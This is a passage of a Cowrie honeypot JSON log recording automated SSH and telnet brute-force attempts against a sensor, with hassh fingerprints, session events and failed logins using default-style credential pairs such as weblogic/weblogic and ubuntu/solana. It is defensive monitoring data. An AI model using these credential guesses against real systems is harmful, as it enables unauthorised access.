-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:33.554369Z","src_ip":"172.237.20.62","session":"8ef9a80bc609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:34.257631Z","src_ip":"172.237.20.62","session":"8ef9a80bc609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.377726793289185,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:34.393251Z","src_ip":"45.58.127.90","session":"a003cdad77e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.570074796676636,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:35.005470Z","src_ip":"45.58.127.90","session":"01a5411df936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:35.422401Z","src_ip":"172.237.20.62","session":"8ef9a80bc609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.452935457229614,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:40.020128Z","src_ip":"45.58.127.90","session":"92d4bfb812f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":37796,"dst_ip":"159.203.135.109","dst_port":22,"session":"17d570a1e99a","protocol":"ssh","message":"New connection: 172.237.20.62:37796 (159.203.135.109:22) [session: 17d570a1e99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:44.332122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:44.342227Z","src_ip":"172.237.20.62","session":"17d570a1e99a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:44.502331Z","src_ip":"172.237.20.62","session":"17d570a1e99a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:45.019108Z","src_ip":"172.237.20.62","session":"17d570a1e99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:46.182815Z","src_ip":"172.237.20.62","session":"17d570a1e99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.89350485801697,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:48.754900Z","src_ip":"45.58.127.90","session":"b61f76862e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55232,"dst_ip":"159.203.135.109","dst_port":22,"session":"957ee1462abd","protocol":"ssh","message":"New connection: 172.237.20.62:55232 (159.203.135.109:22) [session: 957ee1462abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:55.329932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:55.336555Z","src_ip":"172.237.20.62","session":"957ee1462abd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:55.495949Z","src_ip":"172.237.20.62","session":"957ee1462abd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:55.975927Z","src_ip":"172.237.20.62","session":"957ee1462abd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:30:57.138634Z","src_ip":"172.237.20.62","session":"957ee1462abd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37672,"dst_ip":"10.17.0.5","dst_port":23,"session":"76ec25a29538","protocol":"telnet","message":"New connection: 45.58.127.90:37672 (10.17.0.5:23) [session: 76ec25a29538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:01.537324Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37674,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7ca001a291","protocol":"telnet","message":"New connection: 45.58.127.90:37674 (10.17.0.5:23) [session: ef7ca001a291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:03.511736Z"}
{"eventid":"cowrie.session.closed","duration":43.845250606536865,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:03.669205Z","src_ip":"45.58.127.90","session":"1db458930dbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44760,"dst_ip":"159.203.135.109","dst_port":22,"session":"4451ef6b4904","protocol":"ssh","message":"New connection: 172.237.20.62:44760 (159.203.135.109:22) [session: 4451ef6b4904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:06.200043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:06.205016Z","src_ip":"172.237.20.62","session":"4451ef6b4904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:06.365415Z","src_ip":"172.237.20.62","session":"4451ef6b4904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:06.849872Z","src_ip":"172.237.20.62","session":"4451ef6b4904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:08.018360Z","src_ip":"172.237.20.62","session":"4451ef6b4904","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46304,"dst_ip":"159.203.135.109","dst_port":22,"session":"401894f2ecc5","protocol":"ssh","message":"New connection: 172.237.20.62:46304 (159.203.135.109:22) [session: 401894f2ecc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:17.310215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:17.315216Z","src_ip":"172.237.20.62","session":"401894f2ecc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:17.478299Z","src_ip":"172.237.20.62","session":"401894f2ecc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:18.005373Z","src_ip":"172.237.20.62","session":"401894f2ecc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53456,"dst_ip":"10.17.0.5","dst_port":23,"session":"89964fb99b32","protocol":"telnet","message":"New connection: 45.58.127.90:53456 (10.17.0.5:23) [session: 89964fb99b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:18.359557Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:19.170502Z","src_ip":"172.237.20.62","session":"401894f2ecc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":58462,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a47efb1e77b","protocol":"ssh","message":"New connection: 172.237.20.62:58462 (159.203.135.109:22) [session: 2a47efb1e77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:28.266172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:28.270787Z","src_ip":"172.237.20.62","session":"2a47efb1e77b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:28.429358Z","src_ip":"172.237.20.62","session":"2a47efb1e77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:28.906680Z","src_ip":"172.237.20.62","session":"2a47efb1e77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:30.068337Z","src_ip":"172.237.20.62","session":"2a47efb1e77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.53337836265564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:37.045009Z","src_ip":"45.58.127.90","session":"ef7ca001a291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":40136,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c3fb872f42f","protocol":"ssh","message":"New connection: 172.237.20.62:40136 (159.203.135.109:22) [session: 0c3fb872f42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:39.352908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:39.362837Z","src_ip":"172.237.20.62","session":"0c3fb872f42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:39.522046Z","src_ip":"172.237.20.62","session":"0c3fb872f42f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:40.006212Z","src_ip":"172.237.20.62","session":"0c3fb872f42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:41.168369Z","src_ip":"172.237.20.62","session":"0c3fb872f42f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47628,"dst_ip":"10.17.0.5","dst_port":22,"session":"b01d5ae49547","protocol":"ssh","message":"New connection: 80.94.92.184:47628 (10.17.0.5:22) [session: b01d5ae49547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:44.892022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:44.970172Z","src_ip":"80.94.92.184","session":"b01d5ae49547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:45.092491Z","src_ip":"80.94.92.184","session":"b01d5ae49547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:46.126550Z","src_ip":"80.94.92.184","session":"b01d5ae49547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:47.437970Z","src_ip":"80.94.92.184","session":"b01d5ae49547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.04565954208374,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:48.582860Z","src_ip":"45.58.127.90","session":"76ec25a29538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":36604,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dd43a8e0964","protocol":"ssh","message":"New connection: 172.237.20.62:36604 (159.203.135.109:22) [session: 9dd43a8e0964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:31:50.331507Z"}
